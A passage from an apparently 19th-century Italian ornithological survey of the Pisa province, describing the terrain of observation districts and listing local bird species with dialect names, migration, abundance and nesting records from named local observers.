abbondano di acque nelle vallate, non vedendosi i torrenti mai del tutto prosciugati nell’estate. Le Biancane poi, composte quasi totalmente di mataione, sono spoglie di viti e solo ricoperte da pochi anni di Lupinella e Solla; nell’estate sono aridissime. Sono sentiti assai forti i venti di mare sia d’estate che d’inverno. Nell’inverno più il Greco-Levante che il Tramontano. Nell’estate abbiamo quasi costantemente la mattina il Tramontano o Greco-Levante, e la sera Maestrale specialmente nei giorni di bellissimo tempo (Ott). Lavajano piccolo villaggio del comune di Lari, nella provincia di Pisa, giace a mezzogiorno ed a pochi chilometri dai Monti Pisani, al nord-nord-ovest delle colline di Lari dalle quali scende il torrente Zannone, che ne divide il territorio in due zone, o che scarica le sue acque nel Tirreno per la foce del Calambrone, presso Livorno, dopo averle convogliate con quelle di altri torrenti nel Fosso Reale. La sua altezza sul livello del mare, lontano 22 chilometri dal lato di occidente, è di pochi metri. Delle due zone accennate, quella di sinistra può dirsi costituita da suolo formato in posto; la sua superficie, alta sul mare in media 12 metri, è ondulata, accidentata assai e denunzia la vicinanza collinare. Non ha molto, nelle vallecole di questa zona l'acqua impaludava, e sui colletti vegetavano a stento sterpi, ginestre e rachitiche scope. Ora invece inframmezzati da piccole plaghe boscose, si trovano campi coltivati e rigogliosi vigneti. La zona a destra, pianeggiante, più bassa e più estesa, ha il suolo di riporto, e vi predominano i terreni argillosi. Anche qui prospera la vite, ma la porzione maggiore è tenuta a prateria ed a lavorativo spogliato. Insomma nel territorio di Lavajano e nelle immediate vicinanze, hannosi basse colline asciutte e soleggiate, coperte da Quercia, Pini ed altre essenze; da campi e vigneti, e da cedui di quercioli, ginestre e grandi eriche. Si hanno larghi piani coltivati a cereali o tenuti a pascolo; terreni sommergibili e risaie: raccolte d'acqua e corsi perenni ed intermittenti, e per orti e giardini. (Papasogli). Ghizzano è un piccolo paese situato nella Valle dell'Era e precisamente in uno degli ultimi punti della comunità di Peccioli, dalla parte in cui la provincia pisana giunge a confinare colla fiorentina. Non intendendo qui di fare una descrizione esatta e minuziosissima di questo luogo, ché non sentiamo la capacità di fare con quella bellezza e di forma e di stile che potrebbesi desiderare, ci limitiamo a dirne i confini fra cui è racchiuso il territorio che da ogni parte circonda detto paese, e che forma il distretto di osservazione, e così ci esprimiamo: Ghizzano adunque, o meglio il territorio che lo circonda, è racchiuso in gran parte a destra dal fiume o torrente Melogio, a sinistra dal Roglio; il primo si scarica nel secondo, e questo alla sua volta va a immedesimarsi nell'Era. È racchiuso da questi due fiumi o torrenti, dicevasi, al di là dei quali trovansi i possessori di proprietarii limitrofi, che sono sulla destra la tenuta di Pratello e quelle di Monti dei conti Mastiani Brunacci di Pisa, a sinistra la tenuta di Cedri degli Alessandri, quindi quella di Montelopio dei Nerli e poi quella di Peccioli dei marchesi Dufour Berte: le quali due ultime tenute, non tanto fiancheggiano a sinistra il territorio di Ghizzano, ma piuttosto, lo diciamo correggendoci, stanno di fronte al di là del Roglio, che prendendo dalla sinistra viene a passare davanti al predetto territorio medesimo ed è agli ultimi punti di quella che riceve le acque del Melogio, che proviene dalla parte destra. A tergo questo paese, senza essere diviso da fiumi, è confinato dalla fattoria Biondi di Castelfalfi, che risiede in provincia fiorentina. Il paese di Ghizzano si eleva 190 metri sul livello del mare, tanto che si scorgono benissimo e le vette di Monte Morello e il Golfo di Spezia e la etrusca Volterra che non dista che sole quattordici miglia toscane. Questo territorio è tutto in collina, collina non molto ripida, ma nemmeno molto placida; v’è del piano, ma questo è tutto attorno al letto dei due torrenti e non si estende a più di un campo di larghezza. In questo territorio si trova in alcuni punti il tufo in altri il mattaione, in altri il nicchio. Questo luogo costituisce nel suo insieme uno dei più bei punti delle colline, pisane che certo gareggiano colle migliori della Toscana. (Venerosi-Pesciolini). Il distretto di osservazione è la tenuta di Cedri o Cedri (Villa Cedrae) in Val d’Era, posta sulle colline fra Peccioli e Volterra. Terreno argilloso di deposito terziario, appartenente alle marne blù subappenniniche dette mattaioni del Volterrano, analogo alle crete senesi (Degli Alessandri). Elenco delle specie di uccelli osservate nella provincia di Pisa, distretti di Fauglia, Lari, Collesalvetti, Lorenzana, Cascina e Peccioli in Val d’Era, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione, ec., ec. Corvus Cornix, Cornacchia. Dipasso (O.); sedentaria e scarsa (P. V.). Corvus frugilegus, Corvo, Corbo. Di passo in autunno ed inverno, soggiorna poco (O.); scarso in novembre (P.). Lycos Monedula, Corvetto. Ne uccisi e ne vidi un solo (P.); nidificante in Val d’Era (D.). Pica rustica, Gazza, Gazzera, Cecca. Comunissima e sedentaria (O. P. D.). Garrulus glandarius, Ghiandaia. Sedentaria e comune, più in collina (O.); piuttosto scarsa (P. D.). Sturnus vulgaris, Storno. Numeroso al passo, si ferma al piano (O.); giunge in settembre ed ottobre di passaggio (P. D.). Fringilla coelebs, Fringuello, Filunguello, Filinguello. Sedentario e comunissimo ovunque, più abbondante assai alle epoche del passo, cioè in ottobre e novembre e febbraio (O. P. V. D.). Fringilla Montifringilla, Peppola, Fringuello marino. Frequenti di passo, abbondarono nell’inverno 1886 (O.); scarsa in ottobre (P. D.). Petronia stulta, Passera lagia, Passera forestiera. Invernale, --- 1 Questo elenco è compilato su quelli e sulle indicazioni fornite dai signori: Ott Enrico di Fauglia; Papasogli Giovanni di Lavajano, Lari; Venerosi-Pesciolini conte Giuseppe e dal compianto Degli Alessandri conte Cosimo di Ghizzano e Cedri in Val d’Era. Ho indicato colle iniziali O. P. V. e D. il contributo che spetta a ciascuno. assai numerosa al passo alcuni anni (O.); scarsa in ottobre (P. V.); nidificante (D.). Passer montanus, Mattugia, Mattugino, Passera mattugia. Comune e sedentaria (O. P. V.). Passer Italiæ, Passera, Passera grossa, Passera grossaia. Comune e sedentaria (O. P. V. D.). Coccothraustes vulgaris, Frosone, Frusone. Abbondante certi anni al passo autunnale (ottobre), meno numeroso al ripasso in marzo; forse sedentario, avendo avuto i giovani in luglio (O.); di passo (P. V. D.). Ligurinus Chloris, Verdone, Carenzuolo, Carenzolo, Calenzuolo. Comune e sedentario, più abbondante nel passo d'ottobre che in quello di marzo ed aprile (O. P. V. D.). Chrysomitrís Spinus, Lucherino. Numeroso ai due passi, cioè in ottobre ed in marzo ed aprile, ma non tutti gli anni (O. V.); scarso, si dice che il passo abbondante, in ottobre, avviene ogni tre anni (P. D.). Carduelis elegans, Cardellino, Carderino. Sedentario e di abbondante doppio passo (O. P. V. D.). Serinus hortulanus, Raperino. Di regolare e doppio passo (O.); non frequente in ottobre (P. V. D.). Cannabina Linota, Montanello. Sedentario e di passo copioso in ottobre e primavera (O. P. D.); i grossi branchi immigranti svernano da noi (P. V.). Miliaria Projer, Strillozzo, Stiattione. Comune e sedentario, di doppio passo copioso al piano (O. P.); specialmente in ottobre (P. V.). Emberiza Citrinella. Piuttosto raro di passaggio in ottobre (O. P. D.). Emberiza Cirlus, Zigolo, Zigolino. Comune e sedentario, ma più abbondante alle due epoche del passo (O. V. D.). Emberiza Hortulana, Ortolano. Estivo e comune assai (O.); scarso in agosto (P. V.). Emberiza Cia, Zigolo muciatto, Mugiatto. Comune d'inverno ed alle epoche del passo (O.); scarso in ottobre (P.). Emberiza Schœniclus, Migliarino. Scarso in collina, abbondante al piano da ottobre a marzo (O.). Melanocorypha Calandra, Calandra. Sedentaria ma non comune (O.); frequente al piano, ove da pochi anni è sedentaria; qualcuna passa in ottobre (P.). Alauda arborea, Bonicola. Comune e sedentaria, più abbondante alle epoche del passo, nidifica in collina (O. V.); scarsa, giunge in ottobre per svernare (P. D.). Alauda arvensis, Panterana, Lodola di passo, Lodola reale (in collina); Lodola buona panterana (al piano). Comune, sedentaria e di passo copioso in ottobre, novembre e marzo; nidifica al piano (O. P. V. D.). Galerita cristata, Lodola cappellaccia, Cappellaccia, Lodola nostrale. Abbondante e sedentaria ovunque (O. P. V. D.). Agrodroma campestris, Corrisodo. Scarso, più abbondante al passo alcuni anni (O.); estivo e nidificante (D.). Anthus pratensis, Prispola, Pispolo, Prispolino, Mangia botte. Comune alle due epoche del passo, specialmente in quella autunnale, settembre (fine) ed ottobre (O. P. V. D.). Anthus trivialis, Prispolone, Tordino. Comune specialmente all’epoca del passo autunnale, cioè in agosto ed in settembre (O. P. V.); una volta ne ebbi due alla fine di novembre (21 novembre 1882) (O.). Anthus Spipoletta, Fossaccio. Scarso nella prima metà di ottobre (P.). Budytes flavus, Cutti, Strisciaiuola. Comune al passo, in piano (O.). Budytes cinereocapillus, Cutti, Strisciaiuola. Comune al passo specialmente in primavera (D.). Motacilla alba, Ballerina, Batticoda, Cutrettola. Abbondante e sedentaria (O. P.): passa nella prima metà d’ottobre (P. V. D.). Calobates melanope, Ballerina gialla. Non abbondante, ma sedentaria (O. P. V.). Saxicola Oenanthe, Codibianco, Culobianco, Codino. Comune alle due epoche del passo, specialmente al piano (O. P.) vedonsi specialmente nel passo autunnale da agosto a tutto settembre (P. V.); estivo e nidificante (D.). Monticola saxatilis, Codirosson, Codirosson grosso. Scarso (O.). Monticola Cyanus, Passera solitaria, Merla tettaiuola. Frequent e sedentaria, nidifica ai colli e scende al piano l'inverno (O.); scarsa, ma nidificante in Val d'Era (V.). Merula nigra, Merlo. Comune e sedentario, abbondante alle due epoche del passo, ottobre e novembre, febbraio e marzo (O. P. V. D.). Merula torquata, Merlo forestiero. Raro assai in collina (O.). Turdus pilaris, Cesena, Sassellara, Tordela forestiera. Comune all'epoca del passo (O.). Turdus iliacus, Sassello. Invernale e abbondante alle due epoche del passo (O. P.); giunge alla fine d'ottobre od in novembre (P.). Turdus musicus, Tordo reale, Tordo, Tordo bottaccio. Comune alle due epoche del passo (O.); specialmente in ottobre (P. V. D.). Turdus viscivorus, Tordela, Tordiera. Sedentaria e comune (O. D.); scarsa (P.). Aëdon Luscinia, Usignolo, Rosignolo, Rusignolo. Estivo e comune, abbonda durante il passo in aprile (O. P. D.); nel gennaio del 1878 o 79 ne fu ucciso uno assai magro (O.); usualmente sono partiti alla fine di settembre (P.). Erithacus Rubecula, Pettirosson, Pittirosson, Pettiere. Invernale e abbondante alle due epoche del passo (O. P.); specialmente dalla metà di settembre a tutto ottobre (P. V.); nidifica in Val d'Era (D.). Ruticilla Phœnicurus, Codirosson, Codirossa. Comune alle due epoche del passo; nel gennaio 1880 dopo una nevicata uccisi un Codirosson¹ (O.); scarsa in collina nel passo autunnale (P. V.). Pratincola Rubicola, Saltimpalo, Scrocchetto, Frust'asino, Saltasecce, Spunta calocchie. Sedentario e comunissimo (O. P. V. D.). Pratincola Rubetra, Stiaccino. Assai più comune all'epoca ¹ Questo era probabilmente la R. titys. del passo, in agosto e settembre, al piano che in collina (O. P.). *Sylvia cinerea*, *Sierpazzola*, *Sierpagnola*, *Beccafichino*. Estiva e comune (O. D.). *Monachus Atricapillus*, *Capinera* (il mas.), *Capibigia* (la fem.). Sedentaria e comune ovunque (O. P.). *Monachus hortensis*, *Beccafico reale*, *Beccaficone*. Comunissimo in agosto e settembre (O. P. V.). *Pyrophthalma melanoccephala*, *Occhio rosso*, *Cecca*, *Bigina*. Sedentario e ovunque comune (O.). *Phylloscopus sibilator*, *Luì verde*, *Luì*. Numeroso assai durante il passo primaverile soltanto, da marzo a metà aprile (O.). *Phylloscopus Trochilus*, *Luì*, *Luicchio*, *Lucherino*. Comune ovunque dalla metà di settembre al marzo (O.).¹ *Phylloscopus rufus*, *Luì*. Scarso in ottobre e novembre (P.). *Hypolais polyglotta*, *Beccafico*, *Giallino*. Comune dalla metà di marzo alla metà di ottobre (O. P.). *Acrocephalus streperus*, *Cannaiuola*, *Beccafico di padule*. Rara in collina, frequente al piano al passo di marzo ed aprile (O.). *Acrocephalus arundinaceus*, *Caneroncione*. Assai comune al passo in aprile al piano (O.). *Calamodus schoenobænus*, *Forapaglia*. Comune al piano, scarso in collina (O.). *Calamodus aquaticus*, *Paglierino*. Comunissimo al piano (O.). *Cettia Cettii*, *Rosignolo di padule*. Comune al piano (O.). *Cisticola cursitans*, *Becca mosche*. Sedentario, ma meno frequente d'inverno (O.). *Troglodytes parvulus*, *Re di macchia*, *Re*, *Re cacchino*, *Re cacco*. Comune e sedentario ovunque (O. P.); specialmente invernale (P.). *Accentor modularis*, *Stipainiola*, *Passerina*, *Passera di macchia*, *Passera stipaiola*. Comune ovunque (O.); scarsa (P. V.); dalla metà di ottobre in poi fanno un passo abbon- ¹ Ciò si riferisce forse anche al Ph. rufus. dante assai, onde si può dire che insieme ai Fringuelli costituiscono il maggior numero degli uccelli catturati ai paretai ed alle brescianelle (D.). **Regulus cristatus**, Arancino, Fiorancino, Capidoro, Capigiallo. Comune (O.). **Regulus ignicapillus**, Arancino, Fiorancino, Capidoro, Capigiallo. Più comune della precedente (O.); frequente di passo in autunno (P. V.). **Acredula Irbyi**, Penninculo. Comune, specialmente in collina, e sedentario (O. P. V. D.). **Parus major**, Capinegra, Puticchia grossa, Cincia. Comune ovunque e sedentaria (O. P. D.). **Cyanistes caeruleus**, Puticchia, Cincia, Cincino. Comune e sedentaria (O. D.). **Sitta caesia**, Picchio muraiolo. Molto frequente al piano, meno ai colli, sedentario (O. D.). **Certhia brachydactyla**, Rampichino. Comune ovunque e sedentario (O.); scarso (P. V. D.). **Oriolus Galbula**, Rigogolo, Ribobolo. Estivo, più frequente in collina che al piano (O.); scarso da maggio ad ottobre (P. V.). **Lanius minor**, Averla grossa, Averla bigia, Averla gazzina, Averla gazzerina. Estiva e comune ovunque. Il 20 dicembre 1883, trovandomi a Castiglion della Pescaia fui maravigliato di vedere in vendita un *L. minor*, preso il giorno avanti (O.); frequente, giunge alla metà di maggio, parte in settembre (P.). **Lanius Collurio**, Averla, Averla piccola. Estiva e ovunque comune (O.). **Lanius auriculatus**, Averla capirossa. Comune ovunque, estiva (O.); giunge ai primi di maggio e parte in settembre (P.). **Butalis Grisola**, Piglia mosche. Estivo e scarso (P.). **Hirundo rustica**, Rondine, Rondine reale. Estiva e comune, --- ¹ Con ogni probabilità era invece un esemplare del raro *L. meridionalis*. ne uccisi una agli ultimi del novembre 1880 (O.); i primi nella seconda metà di marzo, ultime partenze fine ottobre (P.). **Chelidon urbica**, *Balestruccio*, *Rondinino*. Estivo e comune (O.); arriva ai primi di marzo, la massa in aprile, parte in settembre ed ottobre (P.). **Clivicola riparia**, *Topino*, *Balestruccio bigio*. Assai comune al piano all'epoca del passo in aprile (O.). **Cypselus Apus**, *Rondone*, *Rondinaccio*. Estivo e comune (O. P.): giunge in aprile e parte alla fin di luglio (P.). **Caprimulgus europaeus**, *Nottola*, *Nottolone*. Estivo, più frequente in collina; agli ultimi di novembre 1880, essendo a caccia di Beccacie, mio fratello ne uccise uno (O.); scarso (P.). **Picus major**, *Picchio rosso*, *Picchio rosso maggiore*. Comune (O.). **Picus minor**, *Picchio rosso piccolo*. Scarso, ma sedentario (P.). **Gecinus viridis**, *Picchio verde*, *Picchio gallinaccio*, *Picchio pollastro*. Sedentario, più comune in collina (O.); scarso (P. D.). **Iynx Torquilla**, *Storgicollo*, *Torgicollo*, *Girasole*. Sedentario e comune (O.-P. V.). **Cuculus canorus**, *Cuculo*, *Cucco*. Estivo, più frequente in collina (O. P.); rimane dall'aprile al settembre (P.). **Alcedo Ispida**, *Uccel Santa Maria*, *Santa Maria*. Comune ovunque e sedentario (O.); scarso (P.). **Merops Apiaster**, *Tordio marino*, *Cione*, *Ciane*, *Cruczione*. Estivo e abbondante, nidifica a colonie in collina (O. D.); scarso (P.). **Upupa Epopis**, *Galletto marzuolo*. Estivo, comune (O.); da marzo a settembre (P. D.). **Strix flammea**, *Barbagianni*. Comune e sedentario (O.); scarso anche di passo in ottobre (P. V.). **Syrnium Aluco**, *Allocco*, *Barbagianni*. Non raro nei boschi al piano, sedentario (O.); scarso, di passo in ottobre (P.). **Asio Otus**, *Gufo*, *Bufo*. Assai comune ovunque (O.). **Athene Noctua**, *Civetta*. Comune e sedentaria (O. P. V.). **Scops Gius**, *Assiolo*, *Chiarlo*, *Chirilucechio*, *Chiù*. Estivo e frequente, fors'anche sedentario (O. IV.); frequente, giunge in aprile parte in agosto e settembre (P.). *Buteo vulgaris*, *Poiana*, *Falco cappone*, *Capponaccio*. Invernale e ovunque frequente (O.); scarsa (P.). *Milvus ictinus*, *Falco*. Comune ovunque, specialmente nell'ottobre (O.). *Æsalon regulus*, *Falchetto nero*. Piuttosto comune (O.). *Cerchneis Tinnunculus*, *Glieppio*. Comunissimo e sedentario (O.). *Cerchneis Naumanni*. Scarso al piano nel maggio (O.). *Cerchneis vespertinus*, *Arcistrello*, *Falco cuculo*. Comune qualche anno in aprile e maggio (O. P.); si vedono a branche nelle praterie (P.). *Astur palumbarius*, *Astore*. Scarso (P.). *Accipiter Nisus*, *Falchetto*. Frequente, specialmente in ottobre (P.). *Ardea cinerea*, *Nonna*. Di passo ed invernale (O.); scarso (P.). *Ardea purpurea*, *Ranocchiaia*. Di passaggio al piano (O.); scarso in aprile e maggio (P.). *Egretta alba*. Di passo scarso al piano (O.). *Egretta Garzetta*. Di passaggio in primavera al piano (O.). *Ardeola ralloides*. Di passaggio al piano (O.). *Ardetta minuta*, *Tarabusino*. Di passaggio al piano, ne ebbi uno in collina nel marzo 1875 (O.); scarso in aprile e maggio (P.). *Botaurus stellaris*, *Tarabuso*. Di passaggio al piano (O.); scarso in marzo ed aprile (P.). *Nycticorax griseus*. Di passaggio al piano; due si trattennero lungo il torrente Isola dalla metà di aprile alla metà di maggio 1885 (O.). *Anser segetum*. Di passo in autunno ed inverno, si fermano al piano mai in collina (O.). *Anas Boscas*, *Germano*, *Germano reale* (il mas.); *Anatra* (la fem.). Comune al piano alle epoche del passo e d'inverno (O.); non comune, scompaiono in febbraio (P.). *Chaulelasmus streperus*, *Canapiglia*. Autunnale e di passo al piano (O.); ove è scarsa (P.). Spatula clypeata, Invernale e di passo al piano (O.). Dafila acuta, Colone. Invernale e di passo al piano (O.); ove è scarso (P.). Mareca Penelope, Bibbio. Invernale e di passo al piano (O.); ove è scarso (P.). Nettion Crecca, Alsavola, Arzagola, Germanello, Germano piccolo. Invernale e di passo al piano (O.). Querquedula Circia, Germanello, Marzaiuola. Di passaggio al piano alla fine dell’inverno (O.); scarsa in febbraio e marzo (P.). Columba Palumbus, Colombaccio. Comune di passo e nell’inverno (O.); scarso in primavera, più abbondante in ottobre, specialmente nella seconda quindicina (P.); nidifica in Val d’Era (D.). Columba Oenas, Colombella. Comune di passo e nell’inverno (O. D.); scarsa, anticipa sui Colombacci e ripassa in marzo (P.). Turtur tenera, Tortola, Tortora. Estiva e frequente ovunque (O.); giunge di maggio parte in settembre (P. D.). Starna Perdix, Sturna. Comune e sedentaria in collina (O. V.); scarsa (P.); questa specie vive e si riproduce in gran numero a Cedri attesa la cura che si ha di distruggere le Volpi, le Gazzere ed altri nemici diretti, col procurare che nell’estate trovino acqua sulle colline ove vivono. Nell’ottobre forti brigate di 30 o 40 individui si mostrano erratiche o compiono una migrazione parziale (D.). Coturnix communis, Quaglia, Quagliera. Comunissima, più al piano, e anche sedentaria (O. P.); i primi giungono alla fine di aprile, la massa nella prima metà di maggio, riparte in settembre; il passo primaverile è abbondante, quello d’autunno quasi nullo in confronto a quello del prossimo litorale livornese ove nei giorni di vento S. E. trovansi in quantità nel settembre (P.). Rallus aquaticus, Gallinella, Gambetta. Comune al piano (O.); scarsa, passa in ottobre e novembre, ripassa in marzo (P.). Ortygometra Porzana, Voltolino. Comune al piano (O.); scarso assai in ottobre, frequente in marzo ed aprile (P.). Ortygometra Bailloni, Occhio rosso, Voltolino piccolo, Gambettino. Scarsa al piano in marzo ed aprile (O. P.). Ortygometra parva, Occhio rosso, Voltolino piccolo, Gambettino. Scarsa al piano in marzo ed aprile (O. P.). Crex pratensis, Re quaglio. Comune al piano (O.); scarso in ottobre, più frequente in aprile e maggio (P.). Gallinula chloropus, Sciabica. Comune al piano (O.); scarsa alla fine dell'aprile (P.). Fulica atra, Folaga, Germano nero. Comune al piano (O.). Otis Tarda. Nel 1884 venne ucciso e mangiato da alcuni contadini un individuo di questa specie (P.). Otis Tetraz, Gallina prataiola. In due occasioni vidi questa specie sempre in ottobre (P.). Edicnemus scolopax, Oechione, Tallurino. Assai frequente ovunque (O.); scarso in ottobre ed aprile (P.); nidifica nel distretto di Cedri ed in grossi branchi si trova sulle colline aride anche in dicembre (D.). Charadrius Pluvialis, Priviere, Piviere. Comune, ma di solo passo in ottobre e marzo e specialmente al piano (O. P.). Eudromias Morinellus, Piviere tortolino. Scarso di passo al piano in settembre ed ottobre ed in marzo ed aprile (P.). Vanellus Capella, Fifa, Nugola. Invernale e di passo al piano (O.); frequente in ottobre ed in marzo (P.). Recurvirostra Avocetta. Rara, veduta una sola volta (P.). Pelidna subarquata. Di copioso passo al piano, specialmente in primavera (O.). Pelidna alpina. Di passo al piano (O.). Machetes Pugnax, Gambetta, Gambettone. Di passo al piano, comune (O.); abbondante in marzo ed aprile (P.). Tringoides Hypoleucus, Piro-piro. Di passo al piano (O.). Totanus Ochropus, Pescina, Monachina. Di passo al piano (O.). Totanus Glareola. Di passo al piano (O.). Totanus Calidris. Di passo al piano (O.). Totanus fuscus. Di passo al piano (O.). Limosa melanura. Di passo al piano (O.). Scolopax Rusticula, Beccaccia, Beccaccia reale. Comune d’autunno e d’inverno, più in collina che al piano (O.); scarsa, giungono le prime nella seconda metà di ottobre, la massa in novembre, in dicembre il passo è finito e solo nei rigidi inverni se ne vedono ancora; qui il ripasso in marzo è sempre scarso (P.). Gallinago major, Crocolone, Coccolone. Di passo, più comune al piano (O.); scarso in aprile e maggio, raro in autunno (P.). Gallinago cælestis, Beccaccino, Beccaccino reale. Invernale, più comune al piano (O.); scarso (P.). Gallinago Gallinula, Frullino, Beccaccino piccolo, Pincino, Pinzacchio, Prinzacchino. Comune di passo, specialmente al piano (O.); scarso, passano in ottobre e novembre, ripassano in febbraio e marzo; tanto nel passo come nel ripasso, questa specie fa due mosse abbondanti, una anticipando di qualche giorno il G. cælestis, e una posticipando (P.). Numenius Arquata, Chiurlo. Di passo al piano (O.). Numenius tenuirostris. Di scarso passaggio al piano (O.). Numenius Phæopus. Di passo al piano (O.). Sterna fluviatilis, Beccapescei. Comune di passo, specialmente al piano (O.). Sternula minuta. Comune nel maggio al piano (O.). Hydrochelidon nigra, Fottivento. Comune nell’aprile e maggio al piano (O.); di comparsa irregolare (P.). Podiceps fluviatilis. Nella prima metà del settembre 1878 ne ebbi uno ucciso nella gora di un mulino (O.). Elenco delle specie di uccelli che nidificano nella provincia di Pisa, distretti di Fauglia e Lavajano, Lari; con notizie in proposito. Pica rustica. Una covata in aprile e maggio, uova da 3 a 7, durata dell'incubazione da 15 a 20 giorni. Trovai un nido il 30 maggio 1886, molto visibile su di un Cerro a circa 9 metri dal suolo, conteneva sei pulcini di cui uno morto. Un secondo nido scoperto il 6 giugno 1886 sopra un Pino a 7 metri, conteneva 6 uova che i genitori non difesero, come fecero i primi per loro pulcini (Papasogli). Garrulus glandarius. Covate due in aprile, maggio e giugno, uova da 3 a 7, durata dell'incubazione da 15 a 20 giorni. Sarei quasi per affermare che covi molto più tardi avendone uccisi e presi dei giovanissimi (presi con le mani) ai 15 di agosto. Fringilla coelebs. Covate due, maggio, giugno e luglio, uova da 3 a 5, durata dell'incubazione da 15 a 20 giorni. Il maschio non l'ho mai visto covare le uova, solo portare il cibo alla femmina durante l'incubazione e l'allevamento dei piccoli appena nati. Passer montanus. Covate tre in maggio, giugno, luglio e agosto, uova da 3 a 12, durata dell'incubazione da 15 a 20 giorni. Il maschio non l'ho mai visto covare. Il numero delle uova ho messo fino a 12 avendone in quest'anno (25 giugno 1886) trovato due nidi con 11 piccini e un uovo andato a male; tra i pulcini ve ne erano di quelli affatto nudi, ciò mi porta a credere fossero in quel nido uova di più di una femmina. I nidi --- 1 Questo elenco è compilato colle notizie raccolto dai signori E. Ott e G. Papasogli, e specialmente dal primo; le notizie date dal secondo sono distinte col suo nome. erano uno di *P. montanus* e uno di *P. Italiae* sul tetto della mia villa. **Passer Italiae.** Come sopra. Dicesi che in campagna il *P. Italiae* faccia un nido chiuso, simile a quello dell’*A. Irbyi*, ma più rozzo (*Papasogli*). **Ligurinus Chloris.** Covate due in aprile, maggio e giugno, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Trovai il nido con 6 uova (*Papasogli*). **Carduelis elegans.** Covate due in aprile, maggio e giugno, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Dal 10 giugno al 14 luglio osservai 4 nidi tutti con 5 uova, cova anche il maschio (*Papasogli*). **Miliaria Projer.** Covate due in aprile, maggio e giugno, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Nidifica in quantità sugli argini di fossi e di torrenti (*Papasogli*). **Emberiza Cirlus.** Covate tre in maggio, giugno, luglio e agosto, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Ho detto essere tre le covate, perchè nel 1884 trovai il 15 di settembre un nido di *E. Cirlus* coi pulcini. **Emberiza Hortulana.** Covata una in maggio e giugno, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. **Melanocorypha Calandra.** Trovato il nido il 30 maggio 1886, in pianura aperta e nuda in una buchetta rotonda e scavata profondamente, rivestita di erbe secche; conteneva 2 giovani già impennati ed un uovo; notai che il colore dell’uovo e dei giovani è protettivo riguardo l’ambiente (*Papasogli*). **Alauda arborea.** Covate due in marzo, aprile e maggio, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. **Alauda arvensis.** Covate due in aprile, maggio e giugno, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Nido con uova, 29 giugno 1886 (*Papasogli*). **Galerita cristata.** Covate due in aprile, maggio e giugno, uova da 3 a 5. Motacilla alba. Covate due in marzo, aprile e maggio, uova da 4 a 6. Merula nigra. Covate tre in marzo, aprile, maggio, giugno e luglio, uova da 3 a 5, durata dell’incubazione da 15 a 20 giorni. Non ho mai visto il maschio covare, solo portare il cibo alla femmina, cosa del resto che ho osservato ancora ad un coppia di Merli, che covavano in schiavitù. Turdus viscivorus. Covate tre in marzo, aprile, maggio e giugno, uova da 3 a 7. Trovato un nido il 3 giugno 1886, sopra un’alta Querce (Papasogli). Aëdon Luscinia. Covate due in maggio e giugno, uova da 3 a 5. Abbondante (Papasogli). Pratincola Rubicola. Covate tre in marzo, aprile maggio, giugno, luglio e agosto, uova da 3 a 6. Pratincola Rubetra. Pare che anche questa specie nidifichi nel distretto (Papasogli). Sylvia cinerea. Covate due in aprile, maggio e giugno, uova da 3 a 5. Monachus Atricapillus. Covata una in aprile e maggio, uova da 3 a 6. Pyrophthalma melanocephala. Covate 3 in aprile, maggio, giugno, luglio e agosto, uova da 3 a 5. Nel 1884 dopo il 15 di settembre nella mia tesa ai Tarni eravi un nido coi pulcini. Acredula Irbyi. Covate due in marzo, aprile, maggio, giugno e luglio, uova da 5 a 18, durata dell’incubazione da 15 a 20 giorni. Fui assicurato che alla costruzione di un nido concorrono 8 o 10 individui e vi depongono le uova (talvolta 16 a 18) 4 o 5 femmine (Papasogli). Parus major. Covate tre in aprile, maggio, giugno e luglio, uova da 5 a 10. Ho trovato nidi con 8 e 10 pulcini (Papasogli). Cyanistes caeruleus. Covate tre in aprile, maggio, giugno e luglio, uova da 5 a 9. Certhia brachydactyla. Covate due in marzo, maggio, giugno e luglio, uova da 3 a 9. Oriolus Galbula. Covata una in aprile, maggio, giugno e luglio, uova da 3 a 5. Lanius minor. Covata una in maggio e giugno, uova da 3 a 6, durata dell’incubazione circa 15 giorni. Fa i nidi su alte Querce isolate a 10 metri da terra (Papasogli). Lanius Collurio. Covate due in maggio, giugno e luglio, uova da 3 a 6. Lanius auriculatus. Covate due in maggio, giugno e luglio, uova da 3 a 6. Nidifica specialmente sugli Aceri che sostengono le viti nei campi (Papasogli). Butalis Grisola. Trovato il nido sur un gelso il 20 giugno 1886, con giovani impennati con testa e margini alari tinti di verde chiaro (Papasogli). Hirundo rustica. Covate due in maggio, giugno e luglio, uova da 3 a 6. Chelidon urbica. Covate due in maggio, giugno e luglio, uova da 3 a 6. Cypselus Apus. Covate due in maggio e giugno, uova da 2 a 4. Caprimulgus europaeus. Covate due in giugno, uova da 2 a 4. Gecinus viridis. Covate due in aprile e maggio, uova da 3 a 4. Ilynx Torquilla. Covate due in maggio e giugno, uova da 4 a 12. Cuculus canorus. Non nidifica, depone le uova in aprile. Alcedo Ispida. Certamente nidificante (Papasogli). Merops Apiaster. Covata una in maggio e giugno, uova da 5 a 9. Upupa Epopis. Covate due in aprile e maggio, uova da 3 a 6. Strix flammea. Il 19 gennaio 1885 mi fu portato vivo un Barbagianni ancora di nido che era stato preso con le mani, era coperto sulle ali e in parte sulla groppa ancora di lanugine e volava pochissimo. Il detto individuo lo posseggio preparato in buonissimo stato. Athene Noctua. Covata una in maggio, uova da 2 a 7. Nidifica sugli edifizi e nel cavo degli alberi (Papasogli). Scops Giu. Covata una in maggio e giugno, uova da 3 a 7. Non fa nido e sceglie una buca in un albero o in un fabbricato; il 13 giugno 1886 trovai il nido con 3 uova, il 24 giugno erano nati i pulcini (Papasogli). *Turtur tenera*. Covata una in maggio e giugno, uova 2. *Starna Perdix*. Covate due in marzo, aprile, maggio, giugno e luglio, uova da 12 a 18. Ho messo due covate perchè più d'una volta all'apertura di caccia abbiamo trovato, ove era una coppia sola di vecchie, la brigata doppia composta di 14 o 15 individui grossi e di 10 o 12 piccolini come Quaglie. *Coturnix communis*. Covate tre, uova da 10 a 15. Trovai tre nidi il 6 giugno 1886 in campi a fiemo distanti circa 100 a 150 metri uno dall'altro, due contenevano 12 uova, uno 8 (Papasogli). *Nota.*—Dalle poche osservazioni da me fatte, rilevo che per le prime covate il numero dei giorni 